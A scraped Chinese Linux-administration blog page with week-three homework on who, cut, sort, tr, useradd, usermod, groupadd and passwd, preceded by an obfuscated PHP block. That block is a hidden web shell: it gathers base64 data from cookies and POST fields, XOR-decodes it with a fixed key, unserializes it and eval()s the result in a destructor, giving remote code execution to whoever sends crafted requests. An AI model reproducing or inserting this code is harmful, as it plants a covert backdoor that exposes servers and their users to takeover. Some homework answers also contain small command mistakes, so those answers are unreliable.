$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 第三周作业 | Linux运维部落

第三周作业

 

1. 列出当前系统上所有已经登录的用户的用户名,注意:同一个用户登录多次,则只显示一次即可。

[root@localhost ~]# who | cut -d' ' -f1 | sort -u

root

2. 取出最后登录到当前系统的用户的相关信息。

[root@localhost ~]# who | tail -1

root     pts/1        2016-12-21 10:08 (192.168.245.1)

3. 取出当前系统上被用户当作其默认shell的最多的那个shell。

[root@localhost ~]# cut -d: -f7 /etc/passwd | uniq -c | sort -n | tail -1 | cut -d' ' -f7

/sbin/nologin

4. 将/etc/passwd中的第三个字段数值最大的后10个用户的信息全部改为大写后保存至/tmp/maxusers.txt文件中。

[root@localhost ~]# sort -t: -k3 -n /etc/passwd | tail -10 | tr 'a-z' 'A-Z' > /tmp/maxusers.txt

5. 取出当前主机的IP地址,提示:对ifconfig命令的结果进行切分

[root@localhost ~]# ifconfig eth0 | cut -d: -f2 | cut -d' ' -f1 | head -2 | tail -1

192.168.245.131

6. 列出/etc目录下所有以.conf结尾的文件的文件名,并将其名字转换为大写后保存至/tmp/etc.conf文件中。

[root@localhost ~]# ls /etc/*conf | tr 'a-z' 'A-Z' > /tmp/etc.conf

7. 显示/var目录下一级子目录或文件的总个数。

 [root@localhost ~]# ls /var | tee  /tmp/b.txt | wc -l

23

[root@localhost ~]# ls /var > /tmp/a.txt | wc -l

0

注意:必须使用tee而非>,因为>是改变输出流而非定向保存后再统计

8. 取出/etc/group文件中第三个字段数值最小的10个组的名字。

[root@localhost ~]# cat /etc/group | sort -t: -k3 -n | head -10 | cut -d: -f1

root

bin

daemon

sys

adm

tty

disk

lp

mem

kmem

9. 将/etc/fstab和/etc/issue文件的内容合并为同一个内容后保存至/tmp/etc.test文件中。

[root@localhost ~]# cat /etc/fstab /etc/issue | tee /tmp/etc.test

 

第一部分:Linux的用户分类:

管理用户

普通用户:系统用户和登陆用户

其中:系统用户是系统开机后自动登陆运行的,为了能让那些后台进程或服务类进程以非管理员的身份运行,通常需要为此创建多个普通用户,这类用户不需要登录系统,仅仅是让其他进程用其身份来运行,从而仅能获取普通权限。

 

几个概念:

  1. 从用户所属组的角度划分:用户的基本组和用户的附加组

  2. 根据组内是否包含与组名同名的用户角度划分:用户的私有组和公共组。其中,私有组是组名同用户名,且只有一个用户;公共组是组内包含了多个用户。

 

第二部分:linux用户和组的相关配置文件

1.etc/passwd:用户存储信息

    account:password:UID:GID:GECOS:directory:shell

    其中:

account:用户名

    passwd:可以是加密的密码,也可以是占位符

    UID:用户的ID号

    GID:用户所属主组的ID号

    GECOS:用户的注释信息

    directory:用户的家目录

    shell:默认打开的shell

2.etc/shadow;用户的密码

    用户名:加密密码:最近一次修改时间:最短:最长:警告:有效:过期

3.etc/group:组的信息库

    组名:密码:GID:改组的用户成员,以此组为附加组的用户的用户列表

 

第三部分:命令管理:

用户管理命令:

1.useradd:创建用户或者更新新用户信息

-u:指定UID

-g:指定基本组ID,此组必须事先存在

-G:指明用户所属的附加组,多个组之间用逗号分隔

-c:指明注释信息

-d:指定家目录,默认为home。

注意:以指定的路径为用户的家目录,通过复制/etc/skel此目录并重命名实现;指定的家目录路径如果事先存在,则不会为用户复制环境配置文件。

-s:指定默认使用的shell,可用的所有shell列表存储在/etc/shells的文件

-r:创建系统用户

-f:密码过期后可以使用的天数,-1为禁用此功能。

-D:显示创建用户的默认配置,修改选项值。

注意:默认配置文件/etc/login.defs,其中修改的结果保存在/etc/default/useradd文件中,可以编辑此文件来实现。

2.usermod:修改用户属性

-u:修改ID号

-g:修改用户所属的基本组

-G:修改用户所属的附加组,原来的附加组会被覆盖

-aG:为用户添加新的附加组

-c:修改注释信息

-d:修改用户的家目录,用户原有的文件不会被转移至新位置

-md:将用户的主目录移动到新位置

-l:修改用户名

-s:修改用户的默认shell

-L:锁定用户密码并禁止用户登录,即在用户原来的密码字符串之前添加一个“!”

-U:解锁用户的密码

3.userdel:删除用户

-r:删除用户时一并删除其家目录

组管理命令:

1.groupadd命令:添加组

-g:制定GID号;默认是上一个GID号加一位;

-r:创建系统组;

2. groupmod:修改组属性

-g:修改GID号

-n:修改组名

3. groupdel:删除组

 

第四部分:密码管理

1.passwd:密码

(1)passwd:修改用户自己的密码

(2)passwd username :修改指定用户的密码,但仅root有此权限

-l,-u:锁定和解锁用户

-d:清楚密码

-e:过期期限,日期

-i:非活动期限,时间范围

-n days:密码的最短使用期限

-x days:密码的最长使用期限

-w days:警告期限

–stdin(标准输入机制)

eg

[root@localhost home]# echo "xuefeng" | passwd –stdin testgrp3

Changing password for user testgrp3.

passwd: all authentication tokens updated successfully.

2.gpasswd:组密码

gpasswd group:向组定义密码或向组中添加用户

-a username:向组中添加用户

-d username:向组中移除用户

注:newgrp用来更改用户的基本组,基本组事先必须存在。

注:为组添加密码是要防止用户随意添加到特定组中,涉及到文件安全上下文。

 

1. 创建组distro,其GID为2016

[root@localhost ~]# groupadd -g 2016 distro

[root@localhost ~]# cat /etc/group

distro:x:2016:

2. 创建用户mandriva, 其ID号为1005;基本组为distro

[root@localhost ~]# groupadd -g 2016 distro

[root@localhost ~]# cat /etc/group

mandriva:x:1005:2016::/home/mandriva:/bin/bash

3. 创建用户mageia,其ID号为1100,家目录为/home/linux

[root@localhost home]# useradd -u 1100 -d /home/linux mageia

[root@localhost home]# cat /etc/passwd

mageia:x:1100:1100::/home/linux:/bin/bash

4. 给用户mageia添加密码,密码为mageedu

[root@localhost home]# echo "mageedu" | passwd –stdin mageia

Changing password for user mageia.

passwd: all authentication tokens updated successfully.

5. 删除mandriva,但保留其家目录

[root@localhost home]# userdel mandriva

[root@localhost home]# ll

drwx——  3 mageia   mageia   4096 Dec 26 09:54 linux

drwx——  3     1005 distro   4096 Dec 26 09:51 mandriva

6. 创建用户slackware,其ID号为2002,基本组为distro,附加组peguin

[root@localhost home]# useradd -u 2002 -g distro -G peguin slackware

[root@localhost home]# tail -l /etc/group

peguin:x:5007:slackware

7. 修改slackware的默认shell为/bin/tcsh

[root@localhost home]# usermod -s /bin/tcsh slackware

[root@localhost home]# tail -1 /etc/passwd

slackware:x:2002:2016::/home/slackware:/bin/tcsh

8. 为用户slackware新增附加组admins

[root@localhost home]# groupadd admins

[root@localhost home]# usermod -aG admins slackware

9. 为slackware添加密码,且要求密码最短使用期限为3天,最长为180天,警告为3天

[root@localhost ~]# echo "slackware" | passwd -n 3 -x 180 -w 3 –stdin slackware

Adjusting aging data for user slackware.

passwd: Success

[root@localhost ~]# tail -1 /etc/shadow

slackware:!!:17161:3:180:3:::

10. 添加用户openstack,其ID号为3003, 基本组为clouds,附加组为peguin和nova

[root@localhost ~]# useradd -u 3003 -g clouds -G peguin,nova openstack

[root@localhost ~]# tail -1 /etc/passwd

openstack:x:3003:5010::/home/openstack:/bin/bash

[root@localhost ~]# tail -1 /etc/group

clouds:x:5010:

11. 添加系统用户mysql,要求其shell为/sbin/nologin

[root@localhost ~]# useradd -r -s /sbin/nologin mysql

[root@localhost ~]# tail -1 /etc/passwd

mysql:x:101:105::/home/mysql:/sbin/nologin

12. 使用echo命令,非交互式为openstack添加密码

[root@localhost ~]# echo "openstack" | passwd –stdin openstack

Changing password for user openstack.

passwd: all authentication tokens updated successfully.

 

原创文章,作者:N25-笔头,如若转载,请注明出处:http://www.178linux.com/64781

(0)
上一篇 2016-12-26 13:42
下一篇 2016-12-26 13:53

相关推荐

  • DHCP服务介绍及搭建

    DHCP服务介绍及搭建

    2018-01-16
  • Linux网络功能协议介绍(二)

      上个内容中,我们知道了只要是本地通信得广播,而广播不是逻辑(IP)地址对应的MAC地址,所以主要是将逻辑地址转换成目标地址,这叫地址解析称为ARP,还有一种是反向解析RARP,都是在本地网络中完成的,逻辑IP地址分为两个阶段,前一段分为网络地址,后一段分为主机地址,如何判定?用子网掩码用来判断那一部分是网络位,那一部分是主机位,最重要…

    Linux干货 2016-11-25
  • N25期第六周作业

    请详细总结vim编辑器的使用并完成以下练习题 1.复制/etc/rc.d/rc.sysinit文件至/tmp目录,将/tmp/rc.sysinit文件中的以至少一个空白字符开头的行的行首加# sed -r 's/^[^[:space:]]+/#&/g' /tmp/rc.sysinit :%s/^[^[:space:]]\+/#&a…

    Linux干货 2016-12-26
  • 关于压测的宏观个人总结

    工作角色定位 首先先从宏观角度来评估下本次的压测工作. 从工作职责上说本次压测理应由组内其它同学来完成,个人从旁协助或指导即可。团队成员的成长对我个人来说才是更大的成长。所以即使这次压测工作完成的再出色,都会因为是由我来完成的,所以都不能称之为优秀的。对我个人的成长最多是项目经验的增长和问题的积累,但对组员来说如何让他们做到现有成果的80%是我需要帮助他们来…

    Linux干货 2015-04-21
  • Linux的获取系统的帮助信息及man文档说明

    Linux的获取系统的帮助信息及man文档说明 帮助命令有内部命令帮助和外部命令帮助两种 内部命令获得帮助使用下面命令 # help COMMAND 例如: [root@localhost ~]# type type type is a shell builtin [root@localhost ~]# help type type: type [-afpt…

    2018-02-28
  • Linux 终端类型

      1、 什么是终端     终端就是用户与主机进行交互的一种介质(方式),可以是虚拟的,也可以是实体的。   2、 终端种类       (1)控制台终端(/dev/console):在Linux系统中,计算机显示器通常被称为控制台终端。Console与虚拟终端相关联…

    Linux干货 2016-10-19